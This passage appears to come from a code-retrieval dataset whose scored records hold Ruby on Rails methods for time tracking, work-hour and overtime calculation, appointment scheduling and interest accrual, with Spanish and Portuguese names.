(x.cargahoraria[12] + x.cargahoraria[13] + x.cargahoraria[14] + x.cargahoraria[15] + x.cargahoraria[16] + x.cargahoraria[17] + x.cargahoraria[18])\n if(x.cargahoraria[21] > MAXIMO[21])\n x.cargahoraria[21] = MAXIMO[21]\n end\n end\n end\n x.save!\n end\n end", "title": "" }, { "docid": "44885bcd7cd6545ec76899cabdcd41d5", "score": "0.57123685", "text": "def horario_positivo\n if self.hora_cierre && self.hora_apertura\n \tunless self.hora_cierre > self.hora_apertura\n\t \terrors.add(:hora_apertura, (I18n.t 'errors.messages.open_before_close'))\n\t \terrors.add(:hora_cierre, (I18n.t 'errors.messages.open_before_close'))\n\t \t\t end\n\t \tend\n end", "title": "" }, { "docid": "5f0e28274f71cdd1a515b1336a10089e", "score": "0.5630856", "text": "def cumple_horario_apertura\n if user.grupo\n horas_apertura_grupo = user.grupo.start_times\n horas_cierre_grupo = user.grupo.end_times\n else\n horas_apertura_grupo = HORAS_APERTURA\n horas_cierre_grupo = HORAS_CIERRE\n end\n horario_apertura = [\n start_time.change(hour: horas_apertura_grupo[start_time.wday]),\n end_time.change(hour: horas_cierre_grupo[start_time.wday])\n ]\n unless contenido_en(*horario_apertura)\n errors.add(:horario_de_apertura,\n \"El horario debe estar entre\n #{horas_apertura_grupo[start_time.wday]} hs y #{horas_cierre_grupo[start_time.wday]} hs\")\n end\n end", "title": "" }, { "docid": "268667d24b5a0f3bb8bff971f21ba036", "score": "0.5520092", "text": "def update_total_hours\n if time_entries_count == 2\n update_attributes(total_hours: TimeEntry.calculate_total_hours_between(*time_entries.to_a))\n elsif time_entries_count < 2\n update_attributes(total_hours: nil)\n end\n end", "title": "" }, { "docid": "4eacf538c5779fcf435128df754b6cdd", "score": "0.5510832", "text": "def calcula_devengo_intereses_resp(credito)\n @fecha_inicio = credito.fecha_inicio\n @mes = @fecha_inicio.month\n # @fecha_inicio = DateTime.new(@anio.to_i, @mes.to_i, @dia.to_i, @hora.to_i, @minutos.to_i).strftime(\"%Y-%m-%d %H:%M:%S\")\n pago_semanal = 1000\n tasa_interes = 0.03\n interes_diario = pago_semanal * tasa_interes\n dia = 1\n semana = 1\n #---- Calculamos fechas de corte ---\n case dias_mes(@mes)\n when 31\n fechas_corte = [7, 14, 21, 28, 31]\n when 30\n fechas_corte = [7, 14, 21, 28, 30]\n when 28\n fechas_corte = [7, 14, 21, 28]\n else\n fechas_corte = [7, 14, 21, 28, 30]\n end\n\n sum_intereses = interes_diario\n while dia <= dias_mes(@mes) do\n if fechas_corte.include?(dia)\n @devengo = Devengo.new\n @devengo.credito_id = credito\n @devengo.dia = dia\n @devengo.semana = semana\n @devengo.fecha = @fecha_inicio\n @devengo.generacion_obligacion = sum_intereses\n @devengo.save!\n #@mes = @fecha_inicio.month\n semana+=1\n sum_intereses = 0\n end\n #--- Incrementos ----\n dia += 1\n sum_intereses += interes_diario\n# case dias_mes(@mes)\n# when 31\n# fechas_corte = [7, 14, 21, 28, 31]\n# when 30\n# fechas_corte = [7, 14, 21, 28, 30]\n# when 28\n# fechas_corte = [7, 14, 21, 28]\n# else\n# fechas_corte = [7, 14, 21, 28, 30]\n# end\n#\n @fecha_inicio += 1\n#\n end\n end", "title": "" }, { "docid": "0512b246a49bb61266ebbd8bbabfce78", "score": "0.542482", "text": "def hours(user=nil)\n return 0 if self.time_entries.size <= 0\n if user.nil?\n return self.time_entries.collect(&:hours).sum\n else\n return self.time_entries.collect { |te| te.user == user ? te.hours : 0}.sum\n end\n \n end", "title": "" }, { "docid": "7ad1277f1dea0903f3b3017e0fc1dc09", "score": "0.541819", "text": "def manager(_data_auxiliar, resource)\n y = 0\n # => Executando uma busca fina da agenda\n @agendas = Agenda.where(referencia_agenda_id: resource[:referencia_agenda_id],\n empresa_id: resource[:empresa_id],\n data: _data_auxiliar,\n status: \"VAGO\")\n\n # => Convertendo resource[:horarios] para JSON\n horarios = JSON.parse(resource[:horarios].to_json)\n\n horarios.each do |_key, value|\n _inicio_do_atendimento = Time.parse(value['inicio'])\n _final_pre_determinado = Time.parse(value['final'])\n _intervalo = TimeDifference.between(_inicio_do_atendimento, _final_pre_determinado).in_hours\n\n if value['dia'] == Date::DAYNAMES[_data_auxiliar.wday]\n # => bloco para Verificar se a agenda já existe na base de dados\n if agenda_exist?(@agendas, _data_auxiliar, _inicio_do_atendimento, resource[:atendimento_duracao], resource[:periodo])\n @agendas.each do |agenda|\n horario_auxiliar = Time.parse(agenda.atendimento_inicio)\n agenda_data = agenda.data\n agenda.destroy\n\n while y <= _intervalo\n if horario_auxiliar.strftime(\"%H:%M\") == _inicio_do_atendimento.strftime(\"%H:%M\") and\n _data_auxiliar.strftime(\"%d/%m/%Y\") == agenda.data.strftime(\"%d/%m/%Y\")\n\n _final_do_atendimento = _inicio_do_atendimento.advance(minutes: resource[:atendimento_duracao])\n\n gera_agenda(resource[:empresa_id], resource[:usuario_id],\n resource[:referencia_agenda_id], _data_auxiliar, resource[:atendimento_sabado],\n resource[:atendimento_domingo], resource[:atendimento_duracao],\n _inicio_do_atendimento, _final_do_atendimento, resource[:periodo])\n\n # => condição de parada dos horarios\n if _final_pre_determinado == _final_do_atendimento\n _ultimo_atendimento = _final_do_atendimento.advance(minutes: resource[:atendimento_duracao])\n gera_agenda(resource[:empresa_id], resource[:usuario_id],\n resource[:referencia_agenda_id], _data_auxiliar, resource[:atendimento_sabado],\n resource[:atendimento_domingo], resource[:atendimento_duracao],\n _final_do_atendimento, _ultimo_atendimento, resource[:periodo])\n break\n else\n _inicio_do_atendimento = _final_do_atendimento\n horario_auxiliar = _inicio_do_atendimento\n next\n end\n end\n y = y + 1\n end\n end\n else\n while y <= _intervalo\n # => Determinando o final do atendimento\n _final_do_atendimento = _inicio_do_atendimento.advance(minutes: resource[:atendimento_duracao])\n\n gera_agenda(resource[:empresa_id], resource[:usuario_id],\n resource[:referencia_agenda_id], _data_auxiliar, resource[:atendimento_sabado],\n resource[:atendimento_domingo], resource[:atendimento_duracao],\n _inicio_do_atendimento, _final_do_atendimento, resource[:periodo])\n\n # => condição de parada dos horarios\n if _final_pre_determinado == _final_do_atendimento\n _ultimo_atendimento = _final_do_atendimento.advance(minutes: resource[:atendimento_duracao])\n gera_agenda(resource[:empresa_id], resource[:usuario_id],\n resource[:referencia_agenda_id], _data_auxiliar, resource[:atendimento_sabado],\n resource[:atendimento_domingo], resource[:atendimento_duracao],\n _final_do_atendimento, _ultimo_atendimento, resource[:periodo])\n break\n else\n _inicio_do_atendimento = _final_do_atendimento\n next\n end\n y = y + 1\n end\n end\n end\n end\n end", "title": "" }, { "docid": "88e6d11738b1762f97764458b84a14f2", "score": "0.54107016", "text": "def extras(n)\n if entradas[n].nil? || salidas[n].nil?\n tiempo_extra = 0\n elsif trabajo(n) > JORNADA\n tiempo_extra = trabajo(n) - JORNADA\n else\n tiempo_extra = 0\n end\n\n return Time.at(tiempo_extra).utc.strftime(\"%H:%M\")\n end", "title": "" }, { "docid": "8dbc9eb28144b1b9b7209c19ceec84b2", "score": "0.54016846", "text": "def entrada_amanecer(entrada)\n hora_nocturna am_4(entrada) - entrada\n end", "title": "" }, { "docid": "16e017a162bbd977d1772a5e4d93e88b", "score": "0.54009455", "text": "def set_horario\n @horario = Horario.find(params[:id])\n #@horario.inicio = \"00:01\"\n\n end", "title": "" }, { "docid": "2a7df4a6012b3c83365b6cc46e8fdc39", "score": "0.53979415", "text": "def uno_mas\n @edad += 1\n if @edad < MAX_EDAD\n @altura += @inc_altura\n @contador += producirFruta if @edad >= @min_fruto\n else\n morir\n end \n @edad\n end", "title": "" }, { "docid": "74f6ec7ef7fd0326918532e933f940be", "score": "0.5381771", "text": "def update_user_hours\n # set_variables\n # puts \"UPDATE RECORDER HOURS => r hours = #{@recorder.current_recording_hours} || s hours = #{@rec_show.req_recording_hours}\"\n @recorder.current_recording_hours -= @rec_show.req_recording_hours\n # puts \"UPDATED RECORDER HOURS => r hours = #{@recorder.current_recording_hours}\"\n end", "title": "" }, { "docid": "f385e0b850a3293a4df891c8179a0d4e", "score": "0.5379179", "text": "def timesheet_hours\n set_common_variables()\n @title = \"Time Entry Hours View\"\n @consultant_id = @consultants.first\n filter_hours\n end", "title": "" }, { "docid": "aaec0cb2b7d194f23060847a6cdc2a81", "score": "0.53692055", "text": "def credit_hours\n old_attendee_hours = self.attendee.hours\n old_group_hours = self.group.hours\n membership = related_membership\n old_membership_hours = membership.hours\n if checked?\n attendee.update_attributes(hours: (old_attendee_hours + hours))\n group.update_attributes(hours: (old_group_hours + hours))\n membership.update_attributes(hours: (old_membership_hours + hours))\n else\n attendee.update_attributes(hours: (old_attendee_hours - hours))\n group.update_attributes(hours: (old_group_hours - hours))\n membership.update_attributes(hours: (old_membership_hours - hours))\n end\n end", "title": "" }, { "docid": "617bc68da08e4b65530a2700c0ce693c", "score": "0.5364829", "text": "def actualiza_tiempos(tEvento)\n @tiempo = tEvento\n intervalo = tEvento - @tAnterior\n @tAnterior = tEvento\n @longAcum += (@nTrabajos * intervalo)\n end", "title": "" }, { "docid": "adde5794a57b019c6bb69e7aa482b9c5", "score": "0.53244215", "text": "def horas_100(n)\n if entradas[n].nil? || salidas[n].nil?\n tiempo_extra_100 = 0\n else\n tiempo_extra_100 = enganche(n) + domingo(n) + sabado(n)\n end\n\n return Time.at(tiempo_extra_100).utc.strftime(\"%H:%M\")\n\n end", "title": "" }, { "docid": "6e872661c36fcd75dce50e33f9afae01", "score": "0.5305332", "text": "def entregar_dinero_apuesta numero_apuesta\n cantidad = @apuestas_juegos[numero_apuesta - 1]\n @apuestas_juegos[numero_apuesta - 1] = 0\n cantidad\n end", "title": "" }, { "docid": "89f701494c84798e6aa5392bdbd7f43c", "score": "0.5293806", "text": "def increase_hatched_hour(hours)\r\n end", "title": "" }, { "docid": "86b60b21d8ce326dedd739865f50daf3", "score": "0.5231234", "text": "def hora_nocturna(tiempo)\n (tiempo / 50) * 60\n end", "title": "" }, { "docid": "86b60b21d8ce326dedd739865f50daf3", "score": "0.5231234", "text": "def hora_nocturna(tiempo)\n (tiempo / 50) * 60\n end", "title": "" }, { "docid": "e1a6448b4e012ea26235ef5f09829483", "score": "0.5210831", "text": "def update\n seconds = params[:time_entry][:seconds].to_i\n minutes = params[:minutes].to_i\n seconds += (minutes * 60)\n params[:time_entry][:seconds] = seconds\n\n @users = users_for_dropdown\n @time_entry = TimeEntry.find(params[:id])\n @team = @time_entry.team\n @task = Task.find(params[:time_entry][:task_id])\n @tasks = @time_entry.team.tasks.where(is_active: true)\n @time_entry.allow_nil_for_number_processed = !@task.is_direct?\n @time_entry.skip_date_range_check = current_user.admin?\n\n respond_to do |format|\n if @time_entry.update_attributes(params[:time_entry])\n format.html { redirect_to home_path, notice: 'Time entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @time_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aab0fc7137a36ef53b7ccc2d5221a322", "score": "0.5195145", "text": "def dia(data = false)\n if(data)\n date = Date.parse(data)\n else\n date = Date.today\n end\n\n horas_dia = 0.0\n logado = false\n ops = []\n if @cartao_horas[date]\n @cartao_horas[date].each do |entrada|\n if entrada[1]\n horas_dia += entrada[1] - entrada[0]\n ops << {:data => entrada[0], :op => :in }\n ops << {:data => entrada[1], :op => :out}\n else\n #soh deve somar caso esteja no dia de hoje ou ontem, soma, else seria uma falta de OUT\n if (Date.today - entrada[0].send(:to_date)).to_i <= 1\n horas_dia += Time.now() - entrada[0]\n end\n ops << {:data => entrada[0], :op => :in }\n logado = true\n end\n end\n end\n return ops, logado, (horas_dia/3600.0)\n end", "title": "" }, { "docid": "89b7a313262977ff08f59a1bd5d80240", "score": "0.51910764", "text": "def update\n #Para atualizaçao do evento tem que continuar respeitando a regra de salvar baseado nos dias da semana\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n\n # acha todos os tipos\n tipo = Tipo.find(:all)\n tipo.each do |t|\n if t.id == @event.tipo_id\n if t.confirmacao == true # marca o campo confirmação como true\n @event.pendente = true\n else\n @event.pendente = false # marca o campo confirmação como false\n end\n end\n end\n\n @agendamento = Agendamento.where(:event_id => @event.id)\n @agendamento.each do |ag|\n ag.destroy\n end\n @inicio=Date.parse(@event.starts_at.to_s)\n @fim=Date.parse(@event.ends_at.to_s)\n\n @horainicio = @event.starts_at.to_datetime.strftime(\"%H:%M\")\n @horafim = @event.ends_at.to_datetime.strftime(\"%H:%M\")\n\n if @inicio == @fim\n @agendamento = Agendamento.new\n @agendamento.data_inicio = @event.starts_at\n @agendamento.data_fim = @event.ends_at\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.tipo_id = @event.tipo_id\n @agendamento.inicio = @horainicio\n @agendamento.fim = @horafim\n @agendamento.save\n else\n @inicio.upto(@fim) do |int|\n\n case int.wday\n\n # marca os dias da semana do evento e salva no banco\n when 0\n if @event.domingo == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.tipo_id = @event.tipo_id\n @agendamento.inicio = @horainicio\n @agendamento.fim = @horafim\n @agendamento.save\n end\n when 1\n if @event.segunda == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.tipo_id = @event.tipo_id\n @agendamento.inicio = @horainicio\n @agendamento.fim = @horafim\n @agendamento.save\n end\n when 2\n if @event.terca == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.tipo_id = @event.tipo_id\n @agendamento.save\n end\n when 3\n if @event.quarta == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.tipo_id = @event.tipo_id\n @agendamento.inicio = @horainicio\n @agendamento.fim = @horafim\n @agendamento.save\n end\n when 4\n if @event.quinta == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.tipo_id = @event.tipo_id\n @agendamento.inicio = @horainicio\n @agendamento.fim = @horafim\n @agendamento.save\n end\n when 5\n if @event.sexta == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.tipo_id = @event.tipo_id\n @agendamento.inicio = @horainicio\n @agendamento.fim = @horafim\n @agendamento.save\n end\n when 6\n if @event.sabado == true\n @agendamento = Agendamento.new\n @agendamento.data_inicio = int\n @agendamento.data_fim = int\n @agendamento.hora_inicio = @event.starts_at\n @agendamento.hora_fim = @event.ends_at\n @agendamento.event_id = @event.id\n @agendamento.tipo_id = @event.tipo_id\n @agendamento.inicio = @horainicio\n @agendamento.fim = @horafim\n @agendamento.save\n end\n end\n end\n end\n\n #Chama a funçao de validação caso seja um evento conflitante destroy o que acabou de ser criado.\n valida\n\n format.html { redirect_to(@event, :notice => 'Evento alterado com sucesso.') }\n format.xml { render :xml => @event, :status => :created, :location => @event }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9eaad9cad7eaba821b0ffc56cda9799", "score": "0.5177627", "text": "def uncredit_hours\n old_attendee_hours = self.attendee.hours\n old_group_hours = self.group.hours\n membership = related_membership\n old_membership_hours = membership.hours\n attendee.update_attributes(hours: (old_attendee_hours - hours))\n group.update_attributes(hours: (old_group_hours - hours))\n membership.update_attributes(hours: (old_membership_hours - hours))\n end", "title": "" }, { "docid": "a8f5d4b75ec9827b0ee866c63c47bfd8", "score": "0.51771426", "text": "def get_antiguedad\n if self.contrato_empleados.exists?\n contratos = self.contrato_empleados.all\n duracion_contratos = 0\n\n contratos.each_with_index do |c, index|\n # Comprueba si todavia no termino el contrato\n if Time.now < c.fin\n duracion_contratos += TimeDifference.between(c.inicio, Time.now).in_years\n else\n if c.try(:contrato).try(:indeterminado)\n duracion_contratos += TimeDifference.between(c.inicio, Time.now).in_years\n else\n duracion_contratos += TimeDifference.between(c.inicio, c.fin).in_years\n end\n end\n end\n antiguedad = duracion_contratos.to_i\n else\n antiguedad = 0\n end\n return antiguedad\n end", "title": "" }, { "docid": "e49f57a28b3e7ae64fba6b386d6c0480", "score": "0.5164275", "text": "def trabajo(n)\n\n if entradas[n] < am_4(entradas[n])\n tiempo_amanecer = (am_4(entradas[n]) - entradas[n])\n tiempo_extra_entrada = entrada_amanecer(entradas[n]) - tiempo_amanecer\n else\n tiempo_extra_entrada = 0\n end\n\n if salidas[n] > pm_9(entradas[n])\n tiempo_anochecer = (salidas[n] - pm_9(entradas[n]))\n tiempo_extra_salida = salida_anochecer(salidas[n]) - tiempo_anochecer\n else\n tiempo_extra_salida = 0\n end\n\n if entradas[n] >= pm_9(entradas[n]) && salidas[n] <= am_4(entradas[n]) + 24.hours\n tiempo_extra_entrada = 0\n tiempo_extra_salida = 0\n jornada_nocturna = (salidas[n] - entradas[n])\n tiempo_extra_nocturno = hora_nocturna(jornada_nocturna) - jornada_nocturna\n elsif entradas[n] >= pm_9(entradas[n]) && salidas[n] > am_4(entradas[n])\n tiempo_extra_entrada = 0\n tiempo_extra_salida = 0\n jornada_nocturna = (am_4(entradas[n]) - entradas[n])\n tiempo_extra_nocturno = hora_nocturna(jornada_nocturna) - jornada_nocturna\n else\n tiempo_extra_nocturno = 0\n end\n\n tiempo_trabajado = (((salidas[n].to_f - entradas[n].to_f) + tiempo_extra_entrada + tiempo_extra_salida + tiempo_extra_nocturno))\n\n return tiempo_trabajado\n\n end", "title": "" }, { "docid": "321b0e81c5e326d4bf2e7c8051f7e8af", "score": "0.51594746", "text": "def ayty_spent_hours_by_user (user)\n @ayty_spent_hours_by_user ||= begin\n time_entries.where(user: user).sum(:hours) || 0\n end\n\n end", "title": "" }, { "docid": "b92b3b69f565ef12fe08e05e10f1527b", "score": "0.513683", "text": "def commit_time_entries\n self.time_entries = user.time_entries.not_on_timesheet.on_week(weekof)\n end", "title": "" }, { "docid": "a302d3bebdf41829e472a452dd7f7d3c", "score": "0.5123065", "text": "def salida_anochecer(entrada)\n hora_nocturna entrada - pm_9(entrada)\n end", "title": "" }, { "docid": "626071596cabffbdccbf8f11ebd8e376", "score": "0.5108713", "text": "def edit\n @arcade = object\n @arcade.hours = Hour.new_week(@arcade) if @arcade.hours.size != 7\n end", "title": "" }, { "docid": "818b5316f6c15f1e4243da65d3a33966", "score": "0.5107441", "text": "def escalas_prefeitura_update\n @escala = Escala.find(params[:id_escala])\n sequencia = @escala.numero_sequencia.to_i\n sequencia = sequencia + 1\n @escala.numero_sequencia = sequencia\n\n if @escala.data_execucao < Date.today\n\n end\n\n status = @escala.update_attributes(params[:escala])\n\n\n if (@escala.tipo_acao.descricao == 'Alteração') or (@escala.tipo_acao.descricao == 'Remoção')\n agendamentos = Agendamento.where('escala_id = ?',@escala.id)\n agendamentos.each do |agendamento|\n\n #########################################\n #MANDA EMAIL PARA agendamento.cidadao_id#\n #########################################\n\n agendamento.tipo_situacao_id = TipoAcao.where(\"descricao = ?\",\"Alteração\").first.id\n agendamento.save\n end\n\n if (@escala.tipo_acao.descricao == 'Alteração' ) #Se Alteracao, refaz a agenda\n #Cria entradas da tabela agendamento para cada escala\n minutos = @escala.horario_fim_execucao - @escala.horario_inicio_execucao #em segundos\n minutos = minutos / 60\n intervalo = minutos / @escala.numero_atendimentos\n for j in 0..(@escala.numero_atendimentos-1)\n @agendamento = Agendamento.new\n @agendamento.orgao_id = @escala.orgao_id\n @agendamento.escala_id = @escala.id\n @agendamento.tipo_situacao_id = TipoSituacao.where(\"descricao = ?\", \"Vago\").first.id\n @agendamento.horario_inicio_consulta = @escala.horario_inicio_execucao + (j*intervalo*60)\n fim_consulta = j + 1\n @agendamento.horario_fim_consulta = @escala.horario_inicio_execucao + (fim_consulta*intervalo*60)\n @agendamento.save\n end\n end\n end\n\n respond_to do |format|\n if status\n format.html { redirect_to profissionais_escalas_prefeitura_show_path(@escala), notice: 'Escala atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"escalas_prefeitura_edit\" }\n format.json { render json: @escala.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0770ea7df24015bd8d564b00c7f8e506", "score": "0.507367", "text": "def procesar #DESC: Convertir las marcaciones en horas.\n if request.method==:post\n h=Hora.last\n proceso_id = h ? h.proceso_id+1 : 1\n periodo=Date.new(params[:date][:year].to_i,params[:date][:month].to_i)\n usuarios=Usuario.activos.all\n periodo.beginning_of_month.upto(periodo.end_of_month) do |date|\n usuarios.each do |usuario|\n dm=DiaMarcacion.new(usuario,date)\n Hora.generar(dm,proceso_id)\n end\n end\n flash[:notice] = 'Horas generadas correctamente.'\n redirect_to(show_proceso_horas_path(:id=>proceso_id))\n end\n end", "title": "" }, { "docid": "32040f2911fc758b829c44f9053838ce", "score": "0.50654", "text": "def crear_actividad_promedio\n 24.times do |n|\n hora = Time.now.advance(:hours => (-24+n).to_i).localtime\n hora_start = hora.change(:min => 0) \n actividad_promedio = actividad_promedio(hora_start) \n Actividad.create!(vaca_id: 0,registrada: hora_start, tipo: \"promedio\", valor: actividad_promedio) \n end\nend", "title": "" }, { "docid": "60935f584f711d3e3261289a49f9a931", "score": "0.5063725", "text": "def reserva_sin_atencion\n @reservas_espera=Reserva.where(\"estado=?\" ,0)\n if @reservas_espera.length!=0\n fecha_actual1= Date.today\n\n @reservas_espera.each do |reserva|\n @fecha= reserva.fecha.to_date\n puts @fecha\n puts fecha_actual1-1\n if @fecha== (fecha_actual1+1)\n reserva.update_attributes(estado:5)\n end\n end\n end\n end", "title": "" }, { "docid": "3cd880215b30c42330f7bc83a0294a3d", "score": "0.50565434", "text": "def set_time_entry_formatted_start_time\n data=params\n @error=false\n @time_entry = Physical::Timeandexpenses::TimeEntry.find(data[:id])\n @previous_final_billed_amount = @time_entry.final_billed_amount\n actual_duration = @dur_setng_is_one100th ? one_hundredth_timediffernce(@time_entry.actual_duration) : one_tenth_timediffernce(@time_entry.actual_duration)\n @previous_duration = actual_duration\n @previous_duration = @time_entry.actual_duration\n @old_start_time = @time_entry.send(:formatted_start_time)\n ActiveRecord::Base.transaction do\n if data[:value].present?\n @time_entry.start_time=Time.parse(@time_entry.time_entry_date.to_s + ' '+ data[:value])\n time_diff=@time_entry.get_time_difference\n unless time_diff.kind_of? String\n @time_entry.actual_duration = time_diff.to_f * 60.0\n @billed_amount = @time_entry.calculate_billed_amount\n @final_billed_amount = @time_entry.calculate_final_billed_amt\n @time_entry.save(false)\n @formatedstarttime=@time_entry.send(:formatted_start_time)\n #<!-------------Feature 11298----- ---------->\n get_receiver_and_provider\n if params[:time_entry_date].present?\n data=params\n\t\t unless @receiver.nil?\n\t\t\t @saved_time_entries_new = Physical::Timeandexpenses::TimeEntry.find(:all,:conditions => ['employee_user_id = ? and time_entry_date = ? and matter_people_id IS NULL and status = ? and is_billable = ?', @receiver.id, (!data[:time_entry_date].blank? ? data[:time_entry_date] : Time.zone.now.to_date), 'Open', true])\n else\n @saved_time_entries_new = []\n end\n else\n set_condition(@receiver,@time_entry, params[:view_type], params[:start_date], params[:end_date])\n @saved_time_entries_new = Physical::Timeandexpenses::TimeEntry.find(:all,:include=>[:expense_entries,:acty_type,:created_by,:performer,:matter],:conditions => @t_condition)\n end\n get_total_hours_for_all_status\n get_total_billable_time_amount_status\n #<!------------------ ----------------------- >\n else\n flash[:error] = t(:flash_valid_time_format)\n @error=true\n end\n else\n flash[:error] = t(:flash_valid_time_format)\n @error=true\n end\n end\n end", "title": "" }, { "docid": "b1d07e0b74f63e4a4f29e2de5e6c71b4", "score": "0.5032835", "text": "def get_total_time_accounted(time_entries)\n @saved_time_entries = time_entries\n @total_hours = 0.00\n if @saved_time_entries.present?\n @total_hours = @saved_time_entries.map(&:actual_duration).inject(0) do |total,duration|\n duration= @dur_setng_is_one100th ? one_hundredth_timediffernce(duration) : one_tenth_timediffernce(duration)\n total + duration.to_f\n end \n @total_hours = @total_hours\n end\n @total_hours > 0 ? (@total_hours.to_f.fixed_precision(2)) : \"0.00\"\n end", "title": "" }, { "docid": "54e290bdeb25f5654b59a6f59c1ccda9", "score": "0.5032603", "text": "def salva_dados #TRANSFERIDO PARA O CREATE\n self.ano_letivo = Time.current.strftime(\"%Y\").to_i\n self.ano1 = (Time.current.strftime(\"%Y\").to_i)-1\n self.ano2 = Time.current.strftime(\"%Y\").to_i\n self.dias_rede1 = self.dias1\n self.dias_rede2 = self.dias2\n \n somatoria1 = self.f_abonada1 + self.f_atestado1 + self.f_justif1 + self.f_injustif1 + self.lic_saude1 + self.afastamento1 + self.outras_aus1\n somatoria2 = self.f_abonada2 + self.f_atestado2 + self.f_justif2 + self.f_injustif2 + self.lic_saude2 + self.afastamento2 + self.outras_aus2\n somatoriaTotal = somatoria1+somatoria2\n if somatoriaTotal > 15\n self.dias_trab1 = (self.dias1 - (self.f_abonada1 + self.f_atestado1 + self.f_justif1 + self.f_injustif1 + self.lic_saude1 + self.afastamento1 + self.outras_aus1))\n # self.dias_efetivos1 = (self.dias1 - (self.f_abonada1 + self.f_atestado1 + self.f_justif1 + self.f_injustif1 + self.lic_saude1 + self.afastamento1 + self.outras_aus1))alterado por solicitação da Alessanda 7/12/2016\n self.dias_efetivos1 = (self.dias1 - (self.f_abonada1 + self.f_atestado1 + self.f_justif1 + self.f_injustif1 + self.lic_saude1 + self.afastamento1 ))\n else\n self.dias_trab1 = (self.dias1 - (self.f_justif1 + self.f_injustif1))\n #self.dias_efetivos1 = (self.dias1 - (self.f_abonada1 + self.f_atestado1 + self.f_justif1 + self.f_injustif1 + self.lic_saude1 + self.afastamento1 + self.outras_aus1))alterado por solicitação da Alessanda 7/12/2016\n self.dias_efetivos1 = (self.dias1 - (self.f_abonada1 + self.f_atestado1 + self.f_justif1 + self.f_injustif1 + self.lic_saude1 + self.afastamento1))\n end\n \n if somatoriaTotal > 15\n self.dias_trab2 = (self.dias2 - (self.f_abonada2 + self.f_atestado2 + self.f_justif2 + self.f_injustif2 + self.lic_saude2 + self.afastamento2 + self.outras_aus2))\n #self.dias_efetivos2 = (self.dias2 - (self.f_abonada2 + self.f_atestado2 + self.f_justif2 + self.f_injustif2 + self.lic_saude2 + self.afastamento2 + self.outras_aus2))alterado por solicitação da Alessanda 7/12/2016\n self.dias_efetivos2 = (self.dias2 - (self.f_abonada2 + self.f_atestado2 + self.f_justif2 + self.f_injustif2 + self.lic_saude2 + self.afastamento2))\n else\n self.dias_trab2 = (self.dias2 - (self.f_justif2 + self.f_injustif2))\n #self.dias_efetivos2 = (self.dias2 - (self.f_abonada2 + self.f_atestado2 + self.f_justif2 + self.f_injustif2 + self.lic_saude2 + self.afastamento2 + self.outras_aus2))alterado por solicitação da Alessanda 7/12/2016\n self.dias_efetivos2 = (self.dias2 - (self.f_abonada2 + self.f_atestado2 + self.f_justif2 + self.f_injustif2 + self.lic_saude2 + self.afastamento2))\n end\n\n \n self.subtot_dias = self.dias_trab1 + self.dias_trab2\n self.subtot_efetivo = self.dias_efetivos1 + self.dias_efetivos2\n self.subtot_rede = self.dias_rede1 + self.dias_rede2\n self.subtot_unid = self.dias_unidade1 + self.dias_unidade2\n \n\nend", "title": "" }, { "docid": "69f21e384f91ce8559384081b5e12983", "score": "0.50255007", "text": "def total_hours\n self.time_entries.inject(0) {|sum, x| sum + x.hours}\n end", "title": "" }, { "docid": "69f21e384f91ce8559384081b5e12983", "score": "0.50255007", "text": "def total_hours\n self.time_entries.inject(0) {|sum, x| sum + x.hours}\n end", "title": "" }, { "docid": "4cd05f8c206e055160da98bcf9d3a89d", "score": "0.502408", "text": "def load_entries_for_user\n @entries = current_user.entries.find_all_by_day(@entry.day)\n duration = @entries.sum(&:duration)\n @total_time = convert_minutes_to_hh_mm(duration)\n end", "title": "" }, { "docid": "296958f76387f57b8455fd24f827e4f2", "score": "0.50204635", "text": "def create\n @teams = current_user.teams\n\n if current_user.admin?\n if params[:paid_time_entry][:user_id].empty?\n params[:paid_time_entry][:user_id] = current_user.id\n end\n else\n params[:paid_time_entry][:user_id] = current_user.id\n end\n\n params[:paid_time_entry][:minutes] = ((params[:hours].to_i * 60) + params[:minutes].to_i)\n @paid_time_entry = PaidTimeEntry.new(params[:paid_time_entry])\n @user = @paid_time_entry.user\n @paid_time_entry.skip_date_range_check = current_user.admin?\n\n respond_to do |format|\n if @paid_time_entry.save\n format.html { redirect_to @paid_time_entry, notice: 'Paid time entry was successfully created.' }\n format.json { render json: @paid_time_entry, status: :created, location: @paid_time_entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @paid_time_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b673e2ae6cd6046717c4b192472105b3", "score": "0.5014161", "text": "def update\n #Para atualiza�ao do evento tem que continuar respeitando a regra de salvar baseado nos dias da semana\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n 